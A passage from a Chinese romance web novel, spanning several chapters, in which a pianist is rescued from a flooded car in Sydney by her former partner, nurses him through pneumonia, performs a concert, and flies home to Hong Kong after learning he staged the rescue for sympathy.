她腱鞘炎前跟着Mia玩过几次,虽然一次比一次熟练,但比起沈澈来,只能说是小巫见大巫。 叶微目光古怪地看着她,像是有话要讲,唇角抿着,眼睫眨动的频率都比平时更快。 “怎么了?” 叶微凑近她,神神秘秘小小声道:“你怎么会想到沈董?” 贺羡棠脸上有一瞬间空白。 是啊。 怎么会想到他呢? 贺羡棠转身坐回去,边说:“因为……因为他玩这个就是很厉害啊!” 叶微懒得戳破她,扬声问:“你真不玩啊?” 贺羡棠往嘴里塞一块水果挞:“我的手腕需要休息。” 雨水淅淅沥沥,玻璃顶上雨痕斑驳。贺羡棠吃完一块水果挞,觉得腻,捧着茶杯小口小口喝茶清口,边愣神。 她兀自点头,想沈澈玩射/击就是很厉害。 反扣在桌面上的手机震动了一下,混在沙沙的雨声中,贺羡棠还以为听错了,拿起一看,是沈澈问她晚上是否有空。 原本对话还停留在昨晚。 在沈澈问出那句“你在关心我吗”之后,贺羡棠干脆利落地挂了电话,然后收到他的“晚安”。 贺羡棠手指向上划了下,翻看聊天记录。沈澈每天给她发很多条消息,睡了吗吃了吗早安晚安下雨添衣记得带伞能不能去找你,她有时回有时不回,倒显得沈澈像是在和一个不太灵敏的自动回复机器人在聊天。 晚上…… 好像约了赵珩吃饭?他国内有事,飞悉尼的航班比自己晚两天,贺羡棠承诺带他去吃一家日料。 贺羡棠翻看备忘录,发现赵珩是明天的航班。 她又扭头问叶微:“晚上有安排吗?” 叶微射出一枚子弹,“砰”的一声,巨大的后坐力震的她整条手臂都发麻,她左手握住右肩活动了下,看向贺羡棠:“什么?” 贺羡棠又问了一遍:“晚上有什么安排?” 笑容甜美,毫无破绽。 “有个在澳洲的朋友喊我一起吃饭,不过……”叶微扭了下腰,娇滴滴地说,“如果您要宠幸奴家的话,奴家也可以鸽掉她哦。” 贺羡棠搓掉一胳膊的鸡皮疙瘩:“还是算了。” 那确实没什么别的事情了。 贺羡棠回复:“地址。” 沈澈立刻发来一串地址,是一家西餐厅。 接着他又打来电话:“今晚六点,怎么样?贺小姐有时间赏光吗?” 短短一句话,在他嘴里说出来,竟有种别样的风流,一本正经地叫她“贺小姐”,又满是心照不宣的亲昵暧昧。 贺羡棠第一次发现沈澈也挺有当个纨绔子弟的天赋,像他弟弟一样,泡女明星、花一点心思调情、讲情话,他一定是一把好手。 贺羡棠思绪乱飘,直把自己飘的面红耳赤。她玩着手指,故作意兴阑珊:“有些不想动。” “我去接你。” 已经快五点了,她等一会儿开车回市区,时间刚好。 “算了。”贺羡棠说,“我自己开车过去。” 沈澈笑道:“恭候。” 叶微又玩了一会儿,嫌累,坐贺羡棠身边跟她一起啃水果挞。贺羡棠都快吃饱了,拍掉手心的碎渣,看一眼时间,问叶微:“还想玩吗?” 叶微了然:“你有约?” 贺羡棠默然不语,只笑。 “沈董吧?” 贺羡棠说:“可以让他等着。” 他讲“恭候”,多恭一会儿也没什么。 叶微想到沈澈一天天那要吃人的目光,说:“不玩了,走吧。” 贺羡棠在悉尼的公寓里放了台小宝马,便宜的像玩具车,平时用不着,就为了偶尔来住时出行方便,所以在悉尼的几天,一直是她担任叶微的司机。 把人送回酒店,再导航,看着时间,或许要迟到一会儿。 以往她最守时守信,若是约定好一起吃饭,她一定会比沈澈早到一会儿等他。揣着少女情怀时,风是轻的,阳光是明媚的,天气是前所未有的好,连等待都是美妙的。 哪像现在……心情无波无澜,天气也差。 乌云低垂,雨渐渐下大了。贺羡棠挤在车流里,走走停停,挡风玻璃上砸下来一朵朵雨花。 已经过六点。 悉尼的天气也说变就变,雨水“哗啦”一下,倾盆大雨,泼在前挡风玻璃上,雨刮器一左一右,规律地运作着,但作用微乎其微。眼前像是有一幕水帘,只能看清前车的尾灯。 贺羡棠谨慎地目视前方,没降速,驶过一段积水路段,车熄火停下了。 哐当一下,贺羡棠身子跟着惯性晃了下。她慌了半秒,立刻打开警示灯,又尝试再次启动,不相信自己运气居然这样差。 果然真的差,车熄火了,没办法移动。 只好打救援电话。 贺羡棠往外瞟了眼,在下车被风吹被雨淋地等待救援和在车上等待救援之间果断选择了后者。 天已经完全黑了,闷雷滚滚,闪电划过天际,照亮前路,贺羡棠无所事事地看着旁边车辆来来往往,有两个和她一样的小倒霉蛋儿被困雨中。 她车子停在路中央,这一小段路不知是地势低还是排水差,不多时,积水越来越深,雨却没有丝毫要停下的迹象。 贺羡棠无助地趴在方向盘上,腹诽道路救援来的太慢,骂沈澈不知道挑一个好天气,又疑心是车子太久没保养过,才一涉水就熄火。 积水已经快要没过轮胎,脚下能踩到一点水。贺羡棠快哭了,救援车怎么还不到? 水太深,她没办法淌着水离开,只能继续在车上等。 她再次打电话催道路救援车,对方说悉尼的多条路段局部内涝,救援车已经尽快赶往事故现场了。刚挂掉,又接到沈澈的电话。 “你到哪里了?”沈澈说,“雨好大,你不要过来了,找个地方停下,我去接你回家。” 水没过脚踝时,贺羡棠踢了鞋子,窝在驾驶座上,不愿意讲话。 沈澈喊:“cici” 贺羡棠才说:“我的车涉水熄火了。” 带着一点埋怨。 她讲话时鼻音很重,沈澈顿时慌了神:“cici,你在哪?” “我在等救援车。”贺羡棠说,“这一段路积水好深,车开不进来,你别过来了。” 两辆车都熄火停进水里,像殉情。 沈澈沉声又问:“你在哪?” 贺羡棠抽了下鼻子,环顾四周,报出地址,又忍不住抱怨:“你凶什么?” 她现在很脆弱,脆弱的快要碎掉了。在香港生活那么多年,每年那么多场台风暴雨,一次也没遇见过这种情况,来悉尼才几天,就被困在水中央。 沈澈什么也没说,电话挂了。 贺羡棠鼓弄着手机,想查一下还有没有其他民间道路救援,信号不太好,看了一会儿她就放弃了。 新闻上说悉尼今天的降水量为全年之最,公共交通瘫痪,请广大市民居家,谨慎外出。 贺羡棠忿忿的:“马后炮。” 贺羡棠又冷又饿,抹掉颊边的泪。她腿有些麻,小心翼翼地换一个姿势,觉得腿间流出一股温热的液体,忙打开手机看日历。 比上月推迟了两天。 贺羡棠忍不住了,倒霉透顶,嚎啕大哭,眼前一时分不清是雨还是泪,模糊一片。 在这片水淋淋的模糊中,好像有个一身黑的男人撑伞走近她。 她揉了揉眼睛,终于看清了,推开门喊:“沈澈!我在这!” 积水很深,到他小腿,贺羡棠敢打赌,沈大少从生下来后还没如此狼狈过,到他面前时,肩膀几乎湿透了,裤子更是惨不忍睹。 沈澈把伞交到她手上,拦腰要抱起她,贺羡棠揪着他衣服,嗫喏道:“我……我到生理期了。” 她脸上泪痕斑驳,沈澈心口都像在水里泡着,软的一塌糊涂。 沈澈轻轻擦了下贺羡棠的脸,说:“没事,别怕,没事了。” 他揽着她的腰,让她跪在车座上,解开外套系在她腰间,然后打横将人抱起。他明明被雨淋了一身狼狈,做这些动作时,又慢条斯理地稳重优雅。 被他抱在怀里,贺羡棠一颗心总算落地。 她搂着沈澈脖子,很努力地举着伞想把两人都罩住,但伞不够用,风雨又大,她肩上被雨丝打湿一小块。 沈澈用下巴点她胳膊:“遮着你自己。很快就好了,只有这一段路积水深,我车停在下个街口,那边路况还不错。” 贺羡棠才想起来指责他:“都怪你,谁叫你今天约我!” 她这话讲的好没道理,沈澈却笑,声线温柔得不像话:“都怪我,对唔住bb。” 47 第47章 ◎她什么时候才能知道,他愿意为她做任何事。◎ 贺羡棠被放在副驾驶座上,她衣角微湿,反观沈澈,浑身湿的不成样子,难得升起一丝愧疚。 天知道她刚才有多无助,沈澈淌着水来救她,仿佛神兵天降。 “你还有点用处嘛。” 沈澈笑的像个第一次拿奖状的小学生。 “谢谢你。”贺羡棠跪在座椅上,探身去亲他,刚凑近他脸颊,却被他拂开了。 贺羡棠眼底的神色由茫然到震惊再到愤怒,愤愤地坐回去,用后脑勺对着他。 不亲就不亲! 她也不是很想亲! 沈澈瞥她一眼,毛茸茸的后脑勺上都写着“生气”两个字,有些无奈:“不要亲,我生病了,别传染你。” 贺羡棠猛地回头:“你生病了?” 昨夜有些感冒,原不妨事,但今天淌一遍水,就不一定了,沈澈压着嗓子咳嗽,末了说:“一点小感冒,不要紧。” 贺羡棠看着他,夜色已深,对面车子的近光灯扫过来,映亮沈澈面容,苍白的唇,微蹙的眉,上面沾的雨水未干,于是五官深邃潮湿。 让一个病号开车,显然有些不人道。 贺羡棠提议:“我来开车吧。” 沈澈扫过她脚腕,嫩藕般白皙,脚趾微蜷,珍珠一般玲珑可爱。他有些口干,只看了一眼就挪开目光,目视前方,喉结滚动一下,声音带着些许沙哑:“你连鞋子都没穿,怎么开车?” 贺羡棠这才想起鞋子丢在车上了。她脚趾动了动,不再讲话,只是在听到沈澈的咳嗽声时,从后视镜里扫一眼他的脸。 看上去好憔悴。 她更愧疚了。 都怪救援车太慢! 回到酒店,贺羡棠认出这是远南旗下某家国际酒店集团,在澳洲负责人是华人,亲自等在门口,见大老板这副样子回来,顿时大惊失色。 沈澈抱着贺羡棠阔步走向电梯,吩咐了句:“送几套衣服和卫生巾上来。” 不用他吩咐的太仔细,酒店的工作人员备好了一切。浴袍、两套情侣款的家居服和女士衣物,小羊皮平底鞋,卫生巾,感冒药退烧药,还有两盅红糖枸杞水。 贺羡棠解开缠在腰上的西服外套,抱起她的卫生巾和衣服,倒着走路,却很灵活,如一尾鱼钻进卫浴间。 仓促间她也没顾上整理,内衣裤和家居服都一窝蜂抱在怀里。 坐在马桶上,把一团皱的衣物抖开,沈澈手底下的人做事和他一样牢靠,送来的都是贺羡棠平常用惯了的牌子,没有什么奇怪的蕾丝边。 贺羡棠稍微清理了下自己,赤脚走进相连的浴室冲热水澡,等她换好柔软舒适的家居服,一身清爽地走出卫浴间时,沈澈也已经收拾好了自己。 贺羡棠手心里挤了点护发精油,托着头发往上擦,抬眼一看,就看见了他手上拎着的那件西装外套。 看这个干什么? “啊不要看!” 贺羡棠大脑一片空白,冲上去抢过来,转身火速丢进垃圾桶,好像慢一秒那外套都会在她手上爆炸一样。 沈澈失笑:“害羞什么?” 他捞过贺羡棠的腰,掌心贴在她小腹上轻轻地揉,嗓音低:“量不大,肚子疼不疼?” 贺羡棠耳朵尖染上一点红,垂着眸说:“还好。” 她视线里,沈澈的手背上青筋凸起,手指指节微微曲着,是很有力量又不失美感的一双手。 这双手握签字笔,也会握着她的膝弯。 贺羡棠皱了下鼻子。 总是想这些! 她轻晃了下脑袋,沈澈已经放开她了。 他怕把病气传染给她,连抱一下都只是浅尝辄止,怀里空了,心上总是痒,想给自己找点事做,就打开笔记本电脑,随口说:“把红糖水喝了,饿的话叫他们送点东西来吃。” 送来两盅,一直温着。沈澈不喝这些东西,补充道:“另一盅你不想喝就放着。” 贺羡棠抿了两口,走到沙发边,沈澈以为她要一起来挤这张单人沙发,给她让位置,贺羡棠却伸手,“啪”一下把他的电脑合上了。 “生病了就不要再工作!”贺羡棠说,“拉磨的驴还需要休息呢!” 沈澈支着额头看她。 他实在心痒难耐,呼吸绵长,刻意压制着,伸手把她捞进怀里,长臂扣上她的腰,严丝合缝,仿若天生一对。 贺羡棠猝不及防,“啊”了一声,杯里的红糖水险些撒出来,稳住后嗤嗤地笑,额头去抵他的额头。 还行,温度正常。 她把杯沿转了一圈,没沾过唇的那一边给沈澈,问他要不要喝。 “驱一驱寒。”她说。 沈澈说:“把那杯拿给我。” 贺羡棠坐在他大腿上,探身去够,拿来给他。沈澈一杯喝尽,聊解口干舌燥,拍一拍贺羡棠的腰,示意她站起来。 贺羡棠不满:“我没有那么容易生病。” 沈澈说:“但你生一次病很麻烦。” 吃药会吐,打针怕疼,因此轻微的感冒也要折腾几天几夜,后面的恢复期更是漫长,稍不注意,病气又卷土重来。 贺羡棠说:“你嫌我麻烦?” “我哪里敢?”沈澈无奈地笑,拨前台的电话,让他们送点吃的上来,强调了不要加葱姜,清淡为主。 其实晚餐早就备上了,就怕大老板晚上想吃口热乎的,有没耐心等。 澳洲没什么好吃的,而大老板和老板娘都是中国胃,幸好酒店有中餐厨子,熬粥炖金丝燕窝,煲盐卤豆腐,弄了点小青菜,虽然简单,但一餐饭做到贺羡棠心窝里了。 她的胃经不起折腾了,现在就要吃点小青菜。 雨渐渐小了,从落地窗往外望,只能看见楼间萦绕着朦胧的雾气。浓厚的云被吹散,辽阔夜空中无月无星。 贺羡棠小口小口地喝燕窝,她不太爱喝这些东西,加了蜂蜜味道也不好,沈澈非要她补一补。 她终于接到救援电话,讲了自己车子的位置,让他们拖去废车场。 沈澈听了,说:“我给你买台新的。” 贺羡棠顺理成章地放下燕窝:“我要你现在这台。” 黑色的G63,底盘高,不怕下雨。 而且很酷。 贺羡棠愿意收他的东西,这是一个很重要的信号。沈澈眸色暗了下,不疾不徐地靠在椅背上,下巴轻扬:“把燕窝都吃掉。” “那我还是自己买。” 贺羡棠丢下碗逃之夭夭。 沈澈无奈摇头,老婆太有钱,也不是什么好事。 套房有两间卧室,贺羡棠霸占了主卧。总统套的装修也是清一色的黑灰白,颜色沉闷稳重,原木家居,只是落地窗明亮,八十层往下去,整座城市灯光点点,星罗棋布,河道蜿蜒着扎进地平线尽头。 贺羡棠“唰”地拉紧窗帘,倒在床上,高支棉被单上仿佛还沾着尼罗河畔充足的光热,她拎起来深深吸了一口,闻到一点木质香。 一脚踩进北国雪松林里的味道。 是沈澈身上的。 贺羡棠一觉睡的很安心。 只是在深夜,被门缝外的一点光亮和阵阵咳嗽声吵醒。能听出那咳嗽的声音压抑着,只是终究无法克制生理上的不适,从胸腔里闷闷地传出来。 她迷迷糊糊的,想谁在外面咳嗽,翻了个身,手心扫过被单,和她公寓里的触感很不一样,才想起来,自己在沈澈的酒店里。 那外面是……沈澈? 贺羡棠惊醒了,没穿鞋就跑出去,外面亮了盏落地灯,沈澈坐在单人沙发上,找那会儿他们送上来的药吃,说明书在他手中展开,薄薄的一张纸,小字密密麻麻,他目光扫过去,找用量。 灯光下那张脸实在惨白,唇色也白的吓人,忍不住时偏过头,咳嗽几声,似乎是怕吵醒她,往主卧的方向看了眼,才发现贺羡棠就站在门口,眸中疲倦渐渐褪下,浮现出一些惊喜和愧疚掺杂的神色。 “吵醒你了?”他放下说明书,朝她伸开双臂,“过来我抱抱。” 贺羡棠小跑过去,坐在他大腿上,两条细细的胳膊挂在他脖子上:“哪里不舒服吗?” 沈澈说:“有些发烧。” 他抱一下就够了,像是染上烟瘾的瘾君子,克制着自己只抽一口,让她起来,坐远一点。 贺羡棠不动,用脸颊去贴他的脸颊试温度,心里一惊,慌忙拿过他刚刚看的说明书,对照药品盒上的标记。 是退烧药,用量一颗。 接了杯温水,看着沈澈吃了药,听他不停地咳嗽,贺羡棠不放心,问他有没有带随行的私人医生。 沈澈靠在沙发里:“我这趟来是私事,不是出公务。” 贺羡棠从他腿上跳下去:“那你还愣什么,去医院啊!” 一通检查,高烧烧成肺炎,沈董水灵灵地住院了。 他是为自己才生病的,原本只是小感冒,暴雨狂风里淌冷水,现在肺炎了。她却一点事儿都没有,精神的连一丝丝感冒征兆都没有。 贺羡棠愧疚的不得了,端茶倒水,嘘寒问暖。沈澈牵着她的手:“别忙了,快去睡觉。” 贺羡棠枕在他胸膛上,小声说:“谢谢你。” 沈澈不乐意:“cici,不用跟我说谢谢。” 贺羡棠仰头看他:“嗯?” 她其实困了,眼皮沉沉的,伏在他身上的样子乖巧又可爱。 沈澈捏她腮边的软肉,笑笑没说话。 她什么时候才能知道,他愿意为她做任何事。 贺羡棠又趴回去,一只手去握他的手腕。她睡意汹涌,脑子也不转了,想到什么说什么,喃喃道:“前些日子赵珩也发烧,现在你也发烧,你们俩怎么一个赶着一个地生病” 沈澈手下用力。 贺羡棠不高不低地叫了声:“小气鬼!” 【作者有话说】 啊呀又到期末周了! 48 第48章 ◎调直升机很难吗?◎ 飓风登陆前,连日降雨。 肺炎不易短期痊愈,沈澈住院输液,贺羡棠陪他,一直到音乐会前。 晚七点半开始的音乐会,持续两小时。贺羡棠上午还在医院,贴着沈澈额头试温度,嘟囔着:“怎么还在发烧?” “哪有那么容易好。”沈澈偏过头,咳的满眼泪花,缓了缓才说,“晚上音乐会?” 这些天贺羡棠在医院,他怕传染她,就算在病房里也戴着口罩,加上病气,声音有些闷。 “嗯。”贺羡棠说,“我有点紧张。” “紧张什么?”沈澈一下下顺着她的头发,“把台下的人当成大白菜就好了,弹错了他们也听不出来。” 贺羡棠笑了下,仰起头问:“你开会的时候也把他们当成大白菜?” “有时候也当成小胡萝卜。” 智商也无异。提起工作的事,沈澈揉了下太阳穴。 他这一病,贺羡棠严防死守不许他继续工作,每天顶多接两个助理的电话,邮件估计已经堆成山,会议也推了一大堆。 沈澈叹口气:“cecilia,把电脑拿给我吧。” 贺羡棠瞪他:“公司没了你不能转啊?” 沈澈默然挑了下眉。 好像没了他确实不能转。但贺羡棠理不直气也壮,掷地有声道:“不准看!” 迫于她的淫/威,沈澈只好点头。 这感觉也挺新奇的。曾经贺羡棠很少干涉他工作上的事情,即便他忙到很长时间没陪她,她也就是软软地抱怨一句,从未要求他什么。活了三十多年,第一次被人强制不许工作,骤然闲下来,每天就是睡觉吃饭聊天,沈澈有点不太适应,同时又美滋滋的。 助理再次打电话,请示几桩要紧事。沈澈咳嗽不停,电话讲的很慢,但思路清晰,不疾不徐,桩桩件件安排妥当,末了又说:“最近我生病,你辛苦了。” 贺羡棠剥橘子吃,电话另一边肯定是说了什么客套话,“不辛苦”、“老板您言重了”之类的。 沈澈缓缓勾起唇角:“其实也没有那么严重,只是太太不许,唉——能怎么办呢?她也是心疼我。” 贺羡棠扔掉橘子扑上去打他,沈澈搂着她的腰,又偏过头咳嗽,于是她手上的劲也松了,只攥着他的病号服,手心里泛潮。 他挂了电话,贺羡棠瞪他:“你胡说什么!” “哪里胡说?”沈澈捏她脸,“不是事实吗?” 贺羡棠说:“那你也别到处说啊!” “好,不说不说。”沈澈“嘘”她,声音哑了,“别乱动。” 贺羡棠愣了一下才明白,不动声色往外挪了下屁股。刚刚没注意,两人挨的那样近,大腿都贴在一块儿,贺羡棠虽然看不见被子下某处是何反应,但从他低哑的嗓音中也能想象出来。 她撅一撅嘴,点他肩膀:“色中饿鬼。” 以前怎么没发现? 沈澈闭着眼缓了缓。 清心寡欲三十多年,也不明白,怎么反倒现在一次次忍不住? 可是一闻到贺羡棠身上那股带着梨子甜的清香,再加上彼此的温度贴在一块儿,温香软玉在怀,他就像个十几二十岁毫无自制力的毛头小子。 沈澈拍了拍贺羡棠的腰:“再坐远点。” 贺羡棠说:“我要走了。” 晚上音乐会,她得提前去准备各项事宜。 沈澈问:“晚上穿什么?” 贺羡棠*给他看照片,一袭抹胸红丝绒礼裙,简洁大方的款式,裙摆像花瓣。 “很漂亮。”沈澈说,“下次穿我送你那件。” 贺羡棠想了下:“你说去年在法国买的那件吗?” 沈澈点头,回忆又回到那天,在高定屋里见到她,她一身白,面纱垂下,蝴蝶钻石振翅欲飞。 她穿好漂亮,像婚纱。 贺羡棠莫名其妙的胜负欲冒出来:“那是我自己花钱买的!” 他一条裙子都送不出去。 沈澈“啧”了声,捏她腰上的痒痒肉。 贺羡棠扭着腰躲开了,临走前说:“不准偷偷工作!” / 贺羡棠的琴是她用私人飞机从香港空运过来的,一架施坦威三角钢琴。其实可以让当地的SteinwayHall送一台过来,但贺羡棠用习惯了她的。 下午在后台化妆,赵珩坐在贺羡棠身后的小沙发上,目光从她光洁的肩颈,滑到镜中她的脸上。 赵小公子不满,很不满。 他嚷道:“我在外面等了你半个小时,工作人员说我没证,不让进!” 贺羡棠把他忘了,又试了下音,一忙起来,电话也没听到。 “我……”贺羡棠讪讪的,“我这不是太忙了,一时就把你给忘了。” “太、忙、了!”赵珩重复她的话,每个字都念的很重,“把、我、给、忘、了!” “我错了我错了。”贺羡棠扭头朝他拱了拱手,扔给他一小块巧克力,“吃点甜的消消气。” 赵珩剥开放进嘴里,苦的一激灵,更气了:“黑巧啊?” 他一看包装袋,100%黑巧。 “哎呀拿错了。”贺羡棠稀里哗啦塞给他一大盒,“你自己挑挑吧。” 化妆师的手因她的动作一抖,“哎呀”一声,眉笔划出去一道。贺羡棠不好意思地朝她抿唇笑了笑:“抱歉。” 她笑起来,一双眼睛像会说话。那种远比实际年龄小的天真灵动只有顶级富商家庭才能养出来。化妆师哪里舍得说她。 “没事。” “寒心!”赵珩说,“我太寒心了!贺羡棠,是谁说让我直接到后台来给我安排最好的位置的!结果你就让我在悉尼的冷风秋雨里淋了半个小时。” 贺羡棠说:“你不是有伞吗?” 赵珩怒了:“这是重点吗!” 贺羡棠说:“我请你吃大餐,总行了吧?” 赵珩问:“今晚?” “今晚不行。” 赵珩不悦:“你这些天到底在忙什么?” 他的航班因暴雨延误,昨天抵达悉尼,不仅没得到她此前承诺的接机服务,整整一天,连贺羡棠的面都没见到,打电话约她吃饭,她只说忙。 鬼知道到底忙什么。 贺羡棠卡了一下,不太自然地说:“没……没什么啊?” 赵珩挑了块牛奶巧克力扔嘴里,狐疑地盯着她:“有鬼,贺羡棠你有鬼。” 贺羡棠干巴巴地否认:“我哪有。” 赵珩隔空点她:“你心虚了。” 贺羡棠指尖往后扬了下:“快要开始了,你快去,我安排的位置特别好!叶微也在,你俩还能聊会天。” 她点了个工作人员:“jennie,带赵生过去。” 赵珩咬碎巧克力,不知为何,觉得这块特别苦。 整场音乐会持续两个小时,中间幕休十五分钟。贺羡棠退回后台,查看手机,沈澈的消息在一小时前。 那时她已登台。 是一张照片。 他大概是太无聊,拿ipad画了几颗大白菜发给她。 贺羡棠笑了,给他拨电话,响了几声那边就接通了,沈澈一声低笑透过听筒,萦绕耳畔。 “结束了吗?怎么这么早。” “还没有,幕休。”贺羡棠抵着化妆桌,一只手垂下,无所事事地扣着桌角。 红木桌上一点灯光晃着。 沈澈“哦”了声,了然:“那么……是想我了?” 贺羡棠怔一瞬,听见心跳,“咚”的一声。 呼吸似乎都滚烫,她说:“我检查你有没有偷偷工作。” 沈澈看着笔记本电脑屏幕,摇了下头,说谎话不眨眼:“当然没有。” 他在开远程跨国电话会,麦克风关掉,接这一通电话。 “真的?” “真的。”沈澈说,“你晚上亲自来检查好不好?” 不知道哪里来的风,那点光晃的更厉害了。贺羡棠沉默,一时间手机两边只有呼吸声纠缠。 沈澈说:“让司机去接你。” 贺羡棠手机铃声响了,是她订的闹钟,幕休时间快结束了,贺羡棠匆忙“嗯”了声:“要准备上台了。” “去吧。”沈澈口吻大方。 下半场时间过的格外快。结束时贺羡棠没顾上赵珩叶微,卸了妆就往外跑,高跟鞋踩着厚厚的地毯,裙摆飞扬,一抹红色没在深夜中,黑色G63等在剧院后门。 贺羡棠钻进车里,意外看到了沈澈。 他仍戴着口罩,病号服换成衬衫西裤,显然出发前又打扮了下自己,头发全梳到后面,眉眼深邃,神色温柔似水。 “你怎么来了?” 她踢掉高跟鞋,探身去摸他额头:“还烧不烧?” 沈澈搂着她的腰,隔着口罩吻她头发,姿态像一头鹿啜饮。 “来接你。今晚开心吗?” 贺羡棠用力点头。 两个小时,酣畅淋漓。 “饿不饿?”沈澈问,“带你去吃饭。” 贺羡棠说:“回医院吧,让酒店送一点东西吃。” 回医院十点多,贺羡棠检查了他电脑的使用时长,瞪他:“你又骗我。” 沈澈笑着举起双手:“有个电话会议。我没事,哪有那么弱。” 贺羡棠用笔点了点他胸口,被人顺势揽进怀里。她挣扎了下,挣不开,还在生气呢,电话响了,酒店的工作人员打来,说这个时间住院区不允许探视。 贺羡棠说:“我下楼去拿吧。” 沈澈蹙眉,要拨院长电话。 贺羡棠说:“没事,顺便走一走。” 她轻轻带上门,刚到电梯前,等了一会儿,想起手机没带。其实上下楼也不过几分钟,但离不开手机仿佛是现代人的通病,总觉得没安全感,于是折返回病房。 因为是套房,贺羡棠回去时沈澈没听见,他正在打电话,开着公放,贺羡棠一听就知道他又在看电脑,轻手轻脚地往卧室去,准备抓他个人赃并获。 沈濯说:“打电话干什么?当然是听听你还活着吗啊,不然咱们家可就没人继承家业了。” 沈澈懒得理他。 沈濯又问:“但是我有个问题啊,调直升机很难吗?” 沈澈淡淡开口:“你懂什么。” 沈濯嗤笑:“调直升机哪有淌水更让人心疼是吧?大佬,是谁说不后悔的?” 贺羡棠站在门口,深呼吸,默念——骗子! 大骗子! 49 第49章 ◎这一树花不应该出现在香港。◎ 贺羡棠回香港了。 连夜,乘私人飞机,赶在飓风登陆前起飞。 叶微从厨房跑到浴室,又从浴室跑到多功能娱乐区,最后放平座椅躺上去,摸着顺滑的小牛皮啧啧称奇:“又坐上私人飞机了!我以前还没坐过呢。” 来的时候也是这架,同样的感慨,贺羡棠听了两遍。 赵珩也躺下:“好歹也是国际超模,有点出息行不行?” “没坐过就是没坐过嘛!”叶微拇指和食指捏在一块儿比划,“我们国际超模也就赚点小钱,还没娱乐圈来钱快。” 贺羡棠说:“你出场费比我高。” 叶微说:“我没有私人飞机。” “是贺少川的,”贺羡棠说,“我要运钢琴,问他借来的。” 叶微“咦”了声:“你没有吗?” “没有啊。” 叶微问:“你怎么不买?太贵了吗?这得多少钱?” “买倒是买得起,但一般用不上啊。”贺羡棠解释,“贺少川要全世界到处乱飞,我每天就待在香港逛逛街,买飞机回去落灰吗?” “你买!”叶微晃着她胳膊撒娇,“你买嘛,我想坐!” 贺羡棠被她晃的头晕:“买买买。” 她打算办巡演,有一架确实更方便。 赵珩扣上眼罩,略有不满:“别撒娇行吗,你这像鲁智深含泪吟葬花。” 叶微把拳头捏的“咔嚓咔嚓”响:“你能别装文化人吗?” 飞机穿梭于平流层间,万米高空之上,一片欢声笑语。 病房内的气氛则太沉闷了。 贺羡棠回病房拿手机,沈澈心脏漏了一拍,怕她听见沈濯的电话内容,但她脸上笑吟吟的,问他和谁打电话,沈澈又怪自己多心。 “和沈濯。”沈澈抱着她的腰,“他现在春风得意,笑话我孤家寡人。” 贺羡棠捞过手机,在他脑袋上弹了一下:“你啊?孤家寡人?” 她反应太自然,沈澈想,果然是他多心。生个病还疑神疑鬼起来了。 沈澈说:“你肯要我我就不是。” 贺羡棠笑着推开他:“我下楼拿东西去。” 然后她就一去不返了。等沈澈昧过味来,人已经坐上了回香港的飞机。 沈澈没有贺羡棠的好运气,他刚打算追回国,飓风登陆了,悉尼所有航班停飞,别说飞机了,公交车都不运行,他有七十二变也翻不出飓风的五指山。 沈澈本想搭直升机去受飓风影响较小的墨尔本,再从墨尔本飞回国,医生严令要求他住院休养,白人说话太夸张,不配合治疗要进ICU,董秘听了,差点要撞柱谏上以死相逼。 自食恶果。 沈澈躺在病床上,盯着一片雪白的天花板,脑子里只有这四个字。 打贺羡棠的电话,发现已被拉黑,实在无法,沈澈只好打电话把沈濯骂了一顿。 沈濯接电话时是深夜,刚结束那档子事,他怀里搂着晏宁,还没亲亲抱抱aftercare做全套就挨了一顿骂,不满地“啧”了声:“北京和悉尼有俩小时时差你不知道吗?” “两个小时你都熬不住?”沈澈反唇相讥,“身体素质这么差。” 沈濯说:“不是熬不熬得住,这个时间我和你弟妹刚造完小人啊,你现在打电话,合适吗?” 晏宁拍了他一下,他闷闷地笑。 沈澈把电话挂了。 就不该打。 贺羡棠一回香港,先补两天觉,然后才收拾礼物回家看林樾和贺齐。 车一开进院内,春日景色,略有不同。 一树海棠立在院中,满树朦胧的粉,走近了才看清,花梗细长,玲珑的花苞低垂,含情脉脉,风姿怜人。 阳光那样好,照的几瓣花片都微微透明,泛着珍珠般的光泽。 是垂丝海棠。 微风过,花瓣枝叶轻颤,送来阵阵清香。贺羡棠想起那句“一恨鲫鱼多刺,二恨海棠无香”,分明不准。 这一树花不应该出现在香港。 她摸着树干,觉得眼熟,像是以前太平山顶上养的那棵。 管家正在院内浇花,摘下一双白手套捏在手心,笑道:“是沈董让人送来的。” 果真是他。 “他送你们就收?” 管家含笑:“夫人说让您做决断。” 有一阵风吹起,贺羡棠抽抽鼻子:“臭的。” 老管家也跟着抽鼻子,明明挺香的啊。 贺羡棠没再说什么,转身走了。 没说不要,那就是要。管家老神在在,重新戴上手套浇花,任那树海棠在香港初春的暖风中招展。 贺羡棠一阵风似地飘进客厅,林樾揽着她问:“音乐会顺利吗?” “还行。”贺羡棠说,“如果悉尼不下暴雨的话还挺顺利的。” “是不是有飓风?我还担心你要过几天才能回来。” 某人现在倒是被困在飓风中了。 贺羡棠想这话好奇怪,她待在悉尼,就算遇上飓风,缩在公寓里不出门就好了,哪有什么值得担心的? 贺羡棠也问出口了。 林樾说:“那你的海棠花就要败了啊,多可惜。” 看着态度,小老太太眼观六路耳听八方,耳报神这样灵,有什么事儿都瞒不过她,八成早就她和沈澈发生了什么。 贺羡棠轻轻蹙起眉:“谁稀罕……” 林樾说:“那就给他送回去!” 贺羡棠眼睛滴溜溜地转:“这棵树是我种的!” 林樾含笑不语。 贺羡棠忙转移话题:“贺少川呢,怎么不在家?” “去瑞士啦。”林樾眼中闪着八卦的光芒,“他是不是去找Mia?” 贺羡棠撅着嘴问:“我和沈澈的事是不是他告诉你的?” 林樾轻轻点她额头:“真是冤家。” 兄妹俩平时就没少互相出卖,贺羡棠卖贺少川卖的坦坦荡荡一点儿不心虚:“他给Mia求婚,人家把他甩了。” 林樾说:“这我知道。” “您知道啊?” 林樾说:“我是谁啊,香港八卦小达人。” 贺羡棠两手一摊:“那我也没别的料了。” 林樾摇摇头:“求婚还被拒,你大佬栽了。” “谁叫他喜欢Mia还想结婚。”贺羡棠说,“那可是Mia。” 一个她觉得永远不会结婚的女人。 林樾叹气,贺羡棠也叹气,叹了一会儿她才想起来给林樾看她从悉尼带回来的礼物,一对珍珠耳钉,还有些香薰手工皂袋鼠玩偶巧克力之类的小玩意,她逛街时随手买的。 每次出差回国给家人带小礼物已经变成一种习惯。 同样的伴手礼她又给绣姐送了一份,又在绣姐家遇到了她那个侄子。 